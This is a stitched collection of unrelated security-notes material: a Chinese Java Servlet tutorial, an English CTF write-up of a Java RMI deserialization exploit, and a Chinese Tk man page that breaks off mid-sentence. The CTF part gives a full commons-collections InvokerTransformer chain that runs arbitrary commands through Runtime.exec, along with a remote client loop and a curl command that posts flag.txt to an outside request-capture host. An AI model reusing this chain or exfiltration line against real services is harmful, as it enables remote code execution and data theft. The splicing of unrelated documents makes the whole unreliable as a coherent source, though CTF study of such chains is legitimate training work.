返回指示请求上下文的请求 URI 部分。 ``` ``` String getHeader(String name) 以字符串形式返回指定的请求头的值。 ``` ``` String getMethod() 返回请求的 HTTP 方法的名称,例如,GET、POST 或 PUT。 ``` ``` String getParameter(String name) 以字符串形式返回请求参数的值,或者如果参数不存在则返回 null。 ``` ``` String getPathInfo() 当请求发出时,返回与客户端发送的 URL 相关的任何额外的路径信息。 ``` ``` String getProtocol() 返回请求协议的名称和版本。 ``` ``` String getQueryString() 返回包含在路径后的请求 URL 中的查询字符串。 ``` ``` String getRemoteAddr() 返回发送请求的客户端的互联网协议(IP)地址。 ``` ``` String getRemoteHost() 返回发送请求的客户端的完全限定名称。 ``` ``` String getRemoteUser() 如果用户已通过身份验证,则返回发出请求的登录用户,或者如果用户未通过身份验证,则返回 null。 ``` ``` String getRequestURI() 从协议名称直到 HTTP 请求的第一行的查询字符串中,返回该请求的 URL 的一部分。 ``` ``` String getRequestedSessionId() 返回由客户端指定的 session 会话 ID。 ``` ``` String getServletPath() 返回调用 JSP 的请求的 URL 的一部分。 ``` ``` String[] getParameterValues(String name) 返回一个字符串对象的数组,包含所有给定的请求参数的值,如果参数不存在则返回 null。 ``` ``` boolean isSecure() 返回一个布尔值,指示请求是否使用安全通道,如 HTTPS。 ``` ``` int getContentLength() 以字节为单位返回请求主体的长度,并提供输入流,或者如果长度未知则返回 -1。 ``` ``` int getIntHeader(String name) 返回指定的请求头的值为一个 int 值。 ``` ``` int getServerPort() 返回接收到这个请求的端口号。 ``` 下述例子使用了 HttpServletRequest 的 `getHeaderNames()` 方法来读取 HTTP 头信息。该方法返回了一个枚举,包含与当前的 HTTP 请求相关的头信息。 一旦我们得到一个枚举,我们可以以标准方式循环这个枚举,使用 `hasMoreElements()` 方法来确定何时停止循环,使用 `nextElement()` 方法来获取每个参数的名称。 ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import java.util.*; // Extend HttpServlet class import javax.servlet.annotation.WebServlet; // Extend HttpServlet class @WebServlet(urlPatterns = "/DisplayHeader") public class DisplayHeader extends HttpServlet { // Method to handle GET method request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set response content type response.setContentType("text/html"); PrintWriter out = response.getWriter(); String title = "HTTP Header Request Example"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n"+ "<body bgcolor=\"#f0f0f0\">\n" + "<h1 align=\"center\">" + title + "</h1>\n" + "<table width=\"100%\" border=\"1\" align=\"center\">\n" + "<tr bgcolor=\"#949494\">\n" + "<th>Header Name</th><th>Header Value(s)</th>\n"+ "</tr>\n"); Enumeration headerNames = request.getHeaderNames(); while(headerNames.hasMoreElements()) { String paramName = (String)headerNames.nextElement(); out.print("<tr><td>" + paramName + "</td>\n"); String paramValue = request.getHeader(paramName); out.println("<td> " + paramValue + "</td></tr>\n"); } out.println("</table>\n</body></html>"); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` 现在,调用上述 servlet 会产生如下所示的结果: --- ## 服务器 HTTP 响应 正如在前面的章节中讨论的一样,当一个 Web 服务器对浏览器响应一个 HTTP 请求时,响应通常包括一个状态行、一些响应头信息、一个空行和文档。一个典型的响应如下所示: ``` HTTP/1.1 200 OK Content-Type: text/html Header2: ... ... HeaderN: ... (Blank Line) <!doctype ...> <html> <head>...</head> <body> ... </body> </html> ``` 状态行包括 HTTP 版本(例子中的 HTTP/1.1)、一个状态码(例子中的 200)和一个对应于状态码的短消息(例子中的 OK)。 下面的方法可用于在 servlet 程序中设置 HTTP 响应头信息。通过 HttpServletResponse 对象这些方法是可用的。 ``` String encodeRedirectURL(String url) 为 sendRedirect 方法中使用的指定的 URL 进行编码,或者如果编码不是必需的,则返回 URL 未改变。 ``` ``` String encodeURL(String url) 对包含 session 会话 ID 的指定 URL 进行编码,或者如果编码不是必需的,则返回 URL 未改变。 ``` ``` boolean containsHeader(String name) 返回一个布尔值,指示是否已经设置已命名的响应头信息。 ``` ``` boolean isCommitted() 返回一个布尔值,指示响应是否已经提交。 ``` ``` void addCookie(Cookie cookie) 把指定的 cookie 添加到响应。 ``` ``` void addDateHeader(String name, long date) 添加一个带有给定的名称和日期值的响应头信息。 ``` ``` void addHeader(String name, String value) 添加一个带有给定的名称和值的响应头信息。 ``` ``` void addIntHeader(String name, int value) 添加一个带有给定的名称和整数值的响应头信息。 ``` ``` void flushBuffer() 强制任何在缓冲区中的内容被写入到客户端。 ``` ``` void reset() 清除缓冲区中存在的任何数据,包括状态码和头信息。 ``` ``` void resetBuffer() 清除响应中基础缓冲区的内容,不清除状态码和头信息。 ``` ``` void sendError(int sc) 使用指定的状态码发送错误响应到客户端,并清除缓冲区。 ``` ``` void sendError(int sc, String msg) 使用指定的状态发送错误响应到客户端。 ``` ``` void sendRedirect(String location) 使用指定的重定向位置 URL 发送临时重定向响应到客户端。 ``` ``` void setBufferSize(int size) 为响应主体设置首选的缓冲区大小。 ``` ``` void setCharacterEncoding(String charset) 设置被发送到客户端的响应的字符编码(MIME 字符集)例如,UTF-8。 ``` ``` void setContentLength(int len) 设置在 HTTP Servlet 响应中的内容主体的长度,该方法设置 HTTP Content-Length 头信息。 ``` ``` void setContentType(String type) 如果响应还未被提交,设置被发送到客户端的响应的内容类型。 ``` ``` void setDateHeader(String name, long date) 设置一个带有给定的名称和日期值的响应头信息。 ``` ``` void setHeader(String name, String value) 设置一个带有给定的名称和值的响应头信息。 ``` ``` void setIntHeader(String name, int value) 设置一个带有给定的名称和整数值的响应头信息。 ``` ``` void setLocale(Locale loc) 如果响应还未被提交,设置响应的区域。 ``` ``` void setStatus(int sc) 为该响应设置状态码。 ``` 在前面的实例中你已经了解了 `setContentType()` 方法的工作方式,下面的实例也会用到同样的方法,此外,我们会用 `setIntHeader()` 方法来设置 Refresh 头信息。 ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.*; import java.util.*; // Extend HttpServlet class @WebServlet(urlPatterns = "/Refresh") public class Refresh extends HttpServlet { // Method to handle GET method request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set refresh, autoload time as 5 seconds response.setIntHeader("Refresh", 5); // Set response content type response.setContentType("text/html"); // Get current time Calendar calendar = new GregorianCalendar(); String am_pm; int hour = calendar.get(Calendar.HOUR); int minute = calendar.get(Calendar.MINUTE); int second = calendar.get(Calendar.SECOND); if(calendar.get(Calendar.AM_PM) == 0) am_pm = "AM"; else am_pm = "PM"; String CT = hour+":"+ minute +":"+ second +" "+ am_pm; PrintWriter out = response.getWriter(); String title = "Auto Refresh Header Setting"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n"+ "<body bgcolor=\"#f0f0f0\">\n" + "<h1 align=\"center\">" + title + "</h1>\n" + "<p>Current Time is: " + CT + "</p>\n"); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` 现在调用上述 servlet,每 5 秒后就会显示当前的系统时间,如下所示。运行 servlet 并等着看结果: --- ## HTTP 状态码 HTTP 状态码相关知识见 [HTTP状态码](../../Web/HTTP/HTTP状态码.md) 下面是在 servlet 程序中可以用于设置 HTTP 状态码的方法。通过 HttpServletResponse 对象这些方法是可用的。 java public void setStatus ( int statusCode ) 该方法设置一个任意的状态码。setStatus 方法接受一个 int(状态码)作为参数。如果您的反应包含了一个特殊的状态码和文档,请确保在使用 PrintWriter 实际返回任何内容之前调用 setStatus。 ``` ```java public void sendRedirect(String url) 该方法生成一个 302 响应,连同一个带有新文档 URL 的 Location 头。 ``` ```java public void sendError(int code, String message) 该方法发送一个状态码(通常为 404),连同一个在 HTML 文档内部自动格式化并发送到客户端的短消息。 ``` HTTP 状态码实例: 下述例子将发送 407 错误代码到客户端浏览器,且浏览器会向你显示 “需要身份验证!!!”的消息。 ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import java.util.*; // Extend HttpServlet class @WebServlet(urlPatterns = "/err") public class showError extends HttpServlet { // Method to handle GET method request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Set error code and reason. response.sendError(407, "Need authentication!!!" ); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` --- ## 过滤器 Servlet 过滤器是 Java 类,可用于 Servlet 编程中的下述目的: * 在它们访问后端资源之前,拦截这些来自客户端的请求。 * 在它们发送回客户端之前,处理这些来自服务器端的响应。 这是规范建议的各种类型的过滤器: * 身份验证过滤器。 * 数据压缩过滤器。 * 加密过滤器。 * 触发访问事件资源的过滤器。 * 图像转换过滤器。 * 日志记录和审核过滤器。 * MIME-类型链过滤器。 * Tokenizing 过滤器。 * 转换 XML 内容的 XSL/T 过滤器。 过滤器在部署描述符文件 web.xml 中被部署,然后被映射到 servlet 名称或你的应用程序的部署描述符中的 URL 模式。 当 web 容器启动你的 web 应用程序时,它会为每个在部署描述符中已声明的过滤器创建一个实例。过滤器按照它们在部署描述符中声明的顺序执行。 过滤器仅仅是一个实现了 javax.servlet.Filter 接口的 Java 类。javax.servlet.Filter 接口定义了三种方法: ```java public void doFilter (ServletRequest, ServletResponse, FilterChain) 该方法在每次一个请求/响应对因客户端在链的末端请求资源而通过链传递时由容器调用。 ``` ```java public void init(FilterConfig filterConfig) 该方法由 Web 容器调用,指示一个过滤器被放入服务。 ``` ```java public void destroy() 该方法由 Web 容器调用,指示一个过滤器从服务被去除。 ``` Servlet 过滤器实例 以下是 Servlet 过滤器的实例,将输出客户端的 IP 地址和当前的日期时间。这个例子使你对 Servlet 过滤器有了基本的了解,但是你可以使用相同的概念编写更复杂的过滤器应用程序: ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import java.util.*; // Implements Filter class public class LogFilter implements Filter { public void init(FilterConfig config) throws ServletException{ // Get init parameter String testParam = config.getInitParameter("test-param"); //Print the init parameter System.out.println("Test Param: " + testParam); } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException { // Get the IP address of client machine. String ipAddress = request.getRemoteAddr(); // Log the IP address and current timestamp. System.out.println("IP "+ ipAddress + ", Time " + new Date().toString()); // Pass request back down the filter chain chain.doFilter(request,response); } public void destroy( ){ /* Called before the Filter instance is removed from service by the web container*/ } } ``` --- ## 异常处理 当一个 servlet 抛出一个异常时,web 容器在使用了 exception-type 元素的 web.xml 中搜索与抛出的异常类型相匹配的配置。 你必须在 web.xml 中使用 error-page 元素来指定 servlet 调用,作为对特定的异常或 HTTP 状态码作出的响应。 考虑这种情况,你有一个 ErrorHandler servelt,当任何已定义的异常或错误出现时就会被调用。以下是要在 web.xml 中创建的条目。 ```xml <!-- servlet definition --> <servlet> <servlet-name>ErrorHandler</servlet-name> <servlet-class>ErrorHandler</servlet-class> </servlet> <!-- servlet mappings --> <servlet-mapping> <servlet-name>ErrorHandler</servlet-name> <url-pattern>/ErrorHandler</url-pattern> </servlet-mapping> <!-- error-code related error pages --> <error-page> <error-code>404</error-code> <location>/ErrorHandler</location> </error-page> <error-page> <error-code>403</error-code> <location>/ErrorHandler</location> </error-page> <!-- exception-type related error pages --> <error-page> <exception-type> javax.servlet.ServletException </exception-type > <location>/ErrorHandler</location> </error-page> <error-page> <exception-type>java.io.IOException</exception-type > <location>/ErrorHandler</location> </error-page> ``` 如果你想对所有的异常有一个通用的错误处理程序,那么你应该定义如下所示的 error-page,而不是为每个异常定义单独的 error-page 元素: ```xml <error-page> <exception-type>java.lang.Throwable</exception-type > <location>/ErrorHandler</location> </error-page> ``` 以下是异常处理中有关上述 web.xml 需要注意的点: * Servelt ErrorHandler 与其他的 servelt 的定义方式一样,且在 web.xml 中配置。 * 如果状态码有任何错误出现,不管是 404(未找到)还是 403(禁止),那么 ErrorHandler servlet 会被调用。 * 如果 web 应用程序抛出 ServletException 或 IOException,那么 web 容器就会调用 /ErrorHandler servlet。 * 你可以定义不同的错误处理程序来处理不同类型的错误或异常。上述例子非常通用,希望它达到了让你理解基本概念的目的。 以下是错误处理 servlet 可以访问的请求属性列表,用来分析错误/异常的性质。 ``` javax.servlet.error.status_code 该属性给出状态码,状态码可被存储,并在存储为 java.lang.Integer 数据类型后可被分析。 ``` ``` javax.servlet.error.exception_type 该属性给出异常类型的信息,异常类型可被存储,并在存储为 java.lang.Class 数据类型后可被分析。 ``` ``` javax.servlet.error.message 该属性给出确切错误消息的信息,信息可被存储,并在存储为 java.lang.String 数据类型后可被分析。 ``` ``` javax.servlet.error.request_uri 该属性给出有关 URL 调用 Servlet 的信息,信息可被存储,并在存储为 java.lang.String 数据类型后可被分析。 ``` ``` javax.servlet.error.exception 该属性给出异常产生的信息,信息可被存储,并在存储为 java.lang.Throwable 数据类型后可被分析。 ``` ``` javax.servlet.error.servlet_name 该属性给出 servlet 的名称,名称可被存储,并在存储为 java.lang.String 数据类型后可被分析。 ``` 以下是 Servlet 实例,用于任何你定义的 servlet 出现任何错误或异常时的情况。 这个例子让你对 Servlet 中的异常处理有了基本的了解,但是你可以使用相同的概念编写更复杂的异常处理应用程序: ```java // Import required java libraries import java.io.*; import javax.servlet.*; import javax.servlet.http.*; import java.util.*; // Extend HttpServlet class @WebServlet(urlPatterns = "/ErrorHandler") public class ErrorHandler extends HttpServlet { // Method to handle GET method request. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // Analyze the servlet exception Throwable throwable = (Throwable) request.getAttribute("javax.servlet.error.exception"); Integer statusCode = (Integer) request.getAttribute("javax.servlet.error.status_code"); String servletName = (String) request.getAttribute("javax.servlet.error.servlet_name"); if (servletName == null){ servletName = "Unknown"; } String requestUri = (String) request.getAttribute("javax.servlet.error.request_uri"); if (requestUri == null){ requestUri = "Unknown"; } // Set response content type response.setContentType("text/html"); PrintWriter out = response.getWriter(); String title = "Error/Exception Information"; String docType = "<!doctype html public \"-//w3c//dtd html 4.0 " + "transitional//en\">\n"; out.println(docType + "<html>\n" + "<head><title>" + title + "</title></head>\n" + "<body bgcolor=\"#f0f0f0\">\n"); if (throwable == null && statusCode == null){ out.println("<h2>Error information is missing</h2>"); out.println("Please return to the <a href=\"" + response.encodeURL("http://localhost:8080/") + "\">Home Page</a>."); }else if (statusCode != null){ out.println("The status code : " + statusCode); }else{ out.println("<h2>Error information</h2>"); out.println("Servlet Name : " + servletName + "</br></br>"); out.println("Exception Type : " + throwable.getClass( ).getName( ) + "</br></br>"); out.println("The request URI: " + requestUri + "<br><br>"); out.println("The exception message: " + throwable.getMessage( )); } out.println("</body>"); out.println("</html>"); } // Method to handle POST method request. public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } } ``` 以常用的方式编译 ErrorHandler.java 并把你的类文件放入/webapps/ROOT/WEB-INF/classes 中。 让我们将下述配置添加到 web.xml 文件中来处理异常: ```xml <servlet> <servlet-name>ErrorHandler</servlet-name> <servlet-class>ErrorHandler</servlet-class> </servlet> <!-- servlet mappings --> <servlet-mapping> <servlet-name>ErrorHandler</servlet-name> <url-pattern>/ErrorHandler</url-pattern> </servlet-mapping> <error-page> <error-code>404</error-code> <location>/ErrorHandler</location> </error-page> <error-page> <exception-type>java.lang.Throwable</exception-type > <location>/ErrorHandler</location> </error-page> ``` 现在,尝试使用一个会产生任何异常的 servlet 或者输入一个错误的 URL,这将触发 Web 容器调用 ErrorHandler servlet 并显示适当的消息。例如,如果你输入了一个错误的 URL,那么它将显示如下所示的结果: ``` The status code : 404 ``` 上述代码在一些 web 浏览器中可能无法工作。因此请尝试使用 Mozilla 和 Safari 浏览器,这样上述代码应该能正常工作。 --- ## Source & Reference - https://wiki.jikexueyuan.com/project/servlet/writing-filters.html - https://wiki.jikexueyuan.com/project/servlet/form-data.html - https://wiki.jikexueyuan.com/project/servlet/cookies-handling.html
sec-knowleage
# Array List (Pwn, 350p) The task is similar to https://github.com/p4-team/ctf/tree/master/2018-01-20-insomnihack/pwn_magic_hat and a bit to https://github.com/p4-team/ctf/tree/master/2016-08-21-bioterra-ctf/akashic_records In short: we have a Java RMI server running, and we need to craft a deserialization chain to exploit this server. We get a [client](client.jar) and [library](notsoserial-modified.jar) which is added on the server. We can add those jars to IntelliJ project and it will decompile the code on the fly for us. Client is trivial, it connects to the server and uses the Remote API. The API is: ```java public interface Service extends Remote { Store getStore() throws RemoteException; Store createArrayList(Store var1) throws RemoteException; Store createFastArrayList(Store var1) throws RemoteException; String getString(Store var1, int var2) throws RemoteException; Store addRandom(Store var1, int var2) throws RemoteException; } ``` And Store class is: ```java import java.io.Serializable; import java.util.ArrayList; import java.util.Collection; import org.apache.commons.collections.FastArrayList; public class Store implements Serializable { private static final long serialVersionUID = -878586296715953149L; public Collection[] collections = new Collection[10]; public int counter = 0; private static final int MAX_COLLECTIONS = 10; public Store() { } public int createArrayList() { if (this.counter == 10) { return 0; } else { ArrayList<Integer> list = new ArrayList(); this.collections[this.counter++] = list; return 1; } } public int createFastArrayList() { if (this.counter == 10) { return 0; } else { FastArrayList list = new FastArrayList(); this.collections[this.counter++] = list; return 1; } } public int insert(int index, Object obj) { if (index >= 0 && index < 10) { if (this.collections[index] == null) { return 0; } else { this.collections[index].add(obj); return 1; } } else { return 0; } } } ``` Store class is the one we need to use for the exploit, since it's the object we can send to the server and server will deserialize it. We can see that it contains an array of Collections, and we will use a very particular collection to exploit the server. There is one small obstacle: ```java this.blacklist.add(this.internalName("java.lang.reflect.InvocationHandler")); this.blacklist.add(this.internalName("org.apache.commons.beanutils.BeanComparator")); this.blacklist.add(this.internalName("org.apache.commons.collections.map.LazyMap")); this.blacklist.add(this.internalName("org.apache.commons.collections4.comparators.TransformingComparator")); this.blacklist.add(this.internalName("org.apache.commons.collections4.functors.InstantiateTransformer")); this.blacklist.add(this.internalName("org.apache.commons.collections.keyvalue.TiedMapEntry")); this.blacklist.add(this.internalName("org.apache.commons.fileupload.disk.DiskFileItem")); this.blacklist.add(this.internalName("org.apache.commons.io.output.DeferredFileOutputStream")); this.blacklist.add(this.internalName("org.hibernate.tuple.component.AbstractComponentTuplizer")); this.blacklist.add(this.internalName("com.sun.rowset.JdbcRowSetImpl")); this.blacklist.add(this.internalName("org.jboss.interceptor.proxy.InterceptorMethodHandler")); this.blacklist.add(this.internalName("sun.rmi.transport.tcp.TCPEndpoint")); this.blacklist.add(this.internalName("sun.rmi.server.ActivationGroupImpl")); this.blacklist.add(this.internalName("javax.xml.transform.Templates")); this.blacklist.add(this.internalName("java.lang.reflect.Modifier")); this.blacklist.add(this.internalName("java.net.URLConnection")); this.blacklist.add(this.internalName("org.apache.commons.collections.functors.InstantiateTransformer")); this.blacklist.add(this.internalName("org.apache.commons.collections4.functors.InstantiateTransformer")); this.blacklist.add(this.internalName("org.codehaus.groovy.runtime.ConvertedClosure")); this.blacklist.add(this.internalName("org.codehaus.groovy.runtime.MethodClosure")); this.blacklist.add(this.internalName("org.springframework.beans.factory.ObjectFactory")); this.blacklist.add(this.internalName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")); ``` So we can't use some of the classes. Server can create for us `org.apache.commons.collections.FastArrayList` which means there has to be commons-collections on the server. Specifically we will use `TransformedSet` decorator. To use it we need a `Set` and `Transformer`. The idea is that every time we add something to this `TransformedSet`, the actual value stored will be a result of calling Transformer on the passed value. A useful Transformer is `ChainedTransformer`, which calls multiple Transformers in a chain. We will also need `ConstantTransformer` which simply returns a constant value every time, and finally `InvokerTransformer` which can call functions. What we want to call in the end is `Runtime.getRuntime().exec("command")`. ConstantTransformer has to actually return and object so we will pass there `Runtime.class` metaclass object so we need `new ConstantTransformer(Runtime.class)` From there we can use reflection to get handle of a method by calling `.getMethod("getRuntime")` so the code will be `new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})` Now we actually want to invoke this `getRuntime` to get handle of the `Runtime` object, so we need `new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})` Finally we want to run `exec("command")` function of the Runtime class, so we do `new InvokerTransformer("exec",new Class[]{String.class}, new String[]{command})` Keep in mind we need to return some value from this TransformerChain, so it can get stored in the Set in the end, so we simply pass another ConstantTransformer. As a result we have: ```java public static Store preparePayload(final String command) { final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{command}), new ConstantTransformer(1)}; final Transformer transformerChain = new ChainedTransformer(transformers); Set<Integer> backingSet = new HashSet<>(); Set transformedSet = TransformedSet.decorate(backingSet, transformerChain); Store store = new Store(); store.collections[0] = transformedSet; return store; } ``` It's very useful that the server has `addRandom` method, which adds something to the collection we provide. Otherwise we would need a bit more magic, to store values on our side, without invoking the transformer chain. This would require adding a "fake" transformer, adding values and then substituting the transformer for the chain, using reflection (so it doesn't trigger). Fortunately we can simply send empty Set, and ask server to add values, which will trigger the chain. Now we just need to connect to the remote endpoint and start sending commands: ```java public static void main(final String[] args) throws Exception { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Registry registry = LocateRegistry.getRegistry(InetAddress.getByName("arraylist.dhavalkapil.com").getHostName(), 9999); Service service = (Service) registry.lookup("backdoor"); Scanner sc = new Scanner(System.in); while (true) { System.out.print("> "); execCommand(service, sc.nextLine()); } } private static void execCommand(Service service, String command) { try { service.addRandom(preparePayload(command), 0); } catch (Exception e) { e.printStackTrace(); } } ``` We know the flag is in `flag.txt` file so we can just grab it with simple `curl -d @flag.txt -X POST https://requestb.in/XXXXX` and we get `CTF{j4v4_64d637_ch41n1n6_15_fun}`
sec-knowleage
'\" '\" Copyright (c) 1990-1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: tkvars.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: tkvars.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tkvars 3tk 4.1 Tk "Tk Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tkvars \- Tk 使用或设置的变量 .BE .SH "描述 DESCRIPTION" .PP 在 Tk 的执行的各个时期设置或使用下列 Tcl 变量: .TP 15 \fBtk_library\fR 这个变量持有一个目录的文件名字,它包含与 Tk 有关的一个 Tcl 脚本库。这些脚本包含通常在 Tk 应用启动的时候处理的一个初始化文件,加上包含实现组件缺省行为的过程的其他文件。在向一个解释其添加 Tk 的时候设置 \fBtcl_library\fR 的初始值;这是通过查找许多不同的目录直到找到包含一个适当的 Tk 启动脚本来完成的。如果存在 \fBTK_LIBRARY\fR 环境变量,则首先查找它指名的目录。如果未设置 \fBTK_LIBRARY\fR 或者未引用一个适当的目录,则基于系列位置检查其他一些目录,编辑进去(compiled-in)的缺省位置,Tcl 库目录的位置,包含应用的二进制文件的位置,和当前工作目录。应用可以修改这个变量来切换到一个不同的库上。 .TP \fBtk_patchLevel\fR 包含给出 Tk 的当前补丁级别的一个十进制整数。补丁级别在每次新发行或修补时增加,并唯一的标识一个 Tk 的官方版本。 .TP \fBtkPriv\fR 这个变量是一个数组,它包含 Tk 私有的许多信息。Tk 库过程和缺省绑定使用 \fBtkPriv\fR 的元素。Tk 以外的任何代码都不应该访问它。 .TP \fBtk_strictMotif\fR 缺省的把这个变量设置为零。如果一个应用把它设置为一,则 Tk 尝试保持尽可能的与 Motif 观感标准相接近。例如,活跃元素如按钮和滚动条滑块在指针经过它们的时候不改变颜色。 .TP 15 \fBtk_version\fR Tk 为每个应用在解释器中设置这个变量。这个变量持有 Tk 库的 \fImajor\fR.\fIminor\fR\fI \fR形式的当前版本号。 \fIMajor\fR 和 \fIminor\fR 是整数。在包含不反向兼容的变更的 Tk 发行中增加主版本号(就是说,可能必须改变现存的 Tk 应用和脚本来在新发行下工作的时候)。在每次 Tk 